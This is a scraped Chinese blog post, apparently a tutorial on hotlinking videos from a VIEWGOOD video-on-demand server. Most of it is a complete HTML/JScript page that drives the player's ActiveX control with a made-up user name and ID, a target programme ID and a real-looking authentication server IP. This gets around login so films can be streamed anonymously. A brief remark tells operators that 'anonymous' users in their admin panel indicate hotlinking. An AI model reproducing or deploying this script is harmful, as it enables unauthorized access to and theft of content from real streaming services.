远古盗链教程及盗链HTML源码和盗链工具

来源:互联网 发布:mac移动硬盘隐藏文件夹 编辑:程序博客网 时间:2024/05/16 07:12

1.是怎么被盗链的?
看我做一遍。

瞎写个UserName

UserID瞎写个大点的整数

这里写那个ProgID


好这个就是个盗链文件。试试。

哈哈。。。。能盗!!!

这样后台就有“匿名”的用户了,其实这个“匿名”就是盗链的。程序在免登陆方式下,是以”!GUEST“登陆的。用户表里的”!PREVIEW“用户是在后台”点播节目管理“--》”预览“用的。用户表里的”!GUEST“用户是用户免登陆方式下用的。


所以在后台见到有“匿名”的用户,那你一定被盗链了!

将下列代码保存为HTML文件


<script language="JScript">
document.onkeydown = function()
{
if(event.keyCode != 27)
{
event.keyCode = 0;
event.returnValue = false;
}
}

function PlayerError()
{
if(window.opener == undefined)history.back(-1);
else self.close();
}
</script>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<title>VIEWGOOD WebPlayer</title>
</head>
<body onContextMenu="window.event.returnValue=false;" bgcolor="#000000" topMargin="0" leftMargin="0" style="border-color:#000000;" >
<table align="center" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td align="center" valign="middle">
<object id="WebPlayer" width="640" height="480" classid="CLSID:AA899B43-24BD-4B6B-BBD0-45557D8D11E0" VIEWASTEXT>
<param name="_Version" value="65536">
<param name="_ExtentX" value="10583">
<param name="_ExtentY" value="10583">
<param name="_StockProps" value="0">
</object>
</td>
</tr>
</table>
<script language="JScript">
x = CheckPlayer();
function PlayerInit(szServerHost)
{
WebPlayer.ServerMode = "2";
WebPlayer.UserName = "llq34用来盗电影的";
WebPlayer.UserID = "25000";
WebPlayer.PlayMode = "1"; //SendType
WebPlayer.PlayModeValue = "3388"; //电影的PROG_ID
WebPlayer.ChannelID = "3388";
WebPlayer.AuthenHost = "219.129.183.18:88"; //盗链服务器的IP与端口
WebPlayer.ServerHost = "1.1.1.1"; //IpAddr
WebPlayer.Session = ""; //"";
WebPlayer.ProtocolType = "0";
WebPlayer.EmbedMode = "1";
WebPlayer.ProgName = "盗链无罪";

WebPlayer.ContorlWidth = 322;
WebPlayer.ContorlHeight = 320;
WebPlayer.Start();
}

function RestorePlayerWindow(iWidth, iHeight)
{
window.resizeTo(iWidth, iHeight);
availWidth = screen.Width;
availHeight = screen.availHeight;
iTmpPix = availWidth - iWidth;
iWinLeft = iTmpPix / 2;
iTmpPix = availHeight - iHeight;
iWinHeight = iTmpPix / 2;
window.moveTo(iWinLeft, iWinHeight);
}

function GetHostName(szUrl)
{
iNameSize = szUrl.indexOf("/", 7) - 7;
szUrl = szUrl.substr(7, iNameSize);
if(szUrl.indexOf(":") > 0)iNameSize = szUrl.indexOf(":");
szHostName = szUrl.substr(0, iNameSize);
return szHostName;
}

function GetHostPort(szUrl)
{
var szHostPort, iPortPos, iPortSize;

if(szUrl.indexOf(":", 5) > 0)
{
iPortPos = szUrl.indexOf(":", 5) + 1;
if(szUrl.indexOf("/", iPortPos) > 0)iPortSize = szUrl.indexOf("/", iPortPos) - iPortPos;
szHostPort = szUrl.substr(iPortPos, iPortSize);
}
else
{
szHostPort = 80;
}
return szHostPort;
}

function CheckPlayer()
{
try
{
var oTest = new ActiveXObject("VGPlayer.WebVGPlayer.1");
}
catch(e)
{
if(window.opener == undefined)
{
window.alert("首次点播将安装播放器插件...");
parent.window.location.href = "../download/WebPlayer.exe";
}
else
{
window.opener.alert("首次点播将安装播放器插件...");
window.opener.parent.location.href = "../download/WebPlayer.exe";
self.close();
}
return false;
}
delete oTest;

PlayerInit("1.1.1.1");
//RestorePlayerWindow(334, 352);
return true;
}

function GetServerHost()
{
szServerHost = "";
if(szServerHost.length == 0)
{
alert("/n对不起,服务器集群负荷已满或您的地址不在服务范围内!");
self.close();
}

if(szServerHost == "-1")szServerHost = GetHostName(this.location.href) + ":80";
return szServerHost;
}
</script>
</body>
</html>

<!-- Modify by Eric -->
原创粉丝点击